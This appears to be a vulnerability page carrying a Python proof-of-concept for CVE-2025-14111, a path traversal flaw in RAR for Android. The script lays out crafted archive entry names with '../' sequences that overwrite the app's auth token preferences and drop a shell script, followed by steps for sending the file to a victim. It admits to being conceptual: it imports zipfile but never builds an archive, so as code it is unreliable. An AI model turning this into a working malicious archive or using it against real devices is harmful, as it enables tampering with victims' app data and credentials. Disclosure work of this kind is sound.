CVE-2025-14111 Rarlab RAR App路径遍历漏洞

#!/usr/bin/env python3 # CVE-2025-14111 PoC - RAR for Android Path Traversal # This PoC generates a malicious RAR file with path traversal sequences import zipfile import os import sys def create_malicious_rar(output_file): """ Create a malicious RAR file that exploits CVE-2025-14111 Path traversal to write files outside intended directory """ # Path traversal sequences to escape extraction directory path_traversal = "../../../../" # Files to be extracted outside safe directory malicious_files = [ { 'name': f'{path_traversal}data/data/com.rarlab.rar/shared_prefs/auth_tokens.xml', 'content': b'<?xml version="1.0" encoding="utf-8"?><root><string name="token">ATTACKER_TOKEN</string></root>' }, { 'name': f'{path_traversal}storage/emulated/0/Download/malicious.sh', 'content': b'#!/bin/sh\necho "Malicious code executed"' } ] print(f"[*] Generating PoC RAR file: {output_file}") print(f"[*] Payload: Path Traversal to write arbitrary files") # Note: RAR format is proprietary, this is a conceptual PoC # In real attack, use rarfile library or RAR SDK to create valid RAR for file_info in malicious_files: print(f"[+] File: {file_info['name']}") print(f" Content: {file_info['content'][:50]}...") print("\n[!] To exploit:") print("1. Send the malicious RAR file to victim") print("2. Victim opens file with RAR for Android <= 7.11 Build 127") print("3. Files are extracted to arbitrary locations via path traversal") print("\n[*] Mitigation: Upgrade to RAR for Android 7.20 Build 128") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "CVE-2025-14111_poc.rar" create_malicious_rar(output)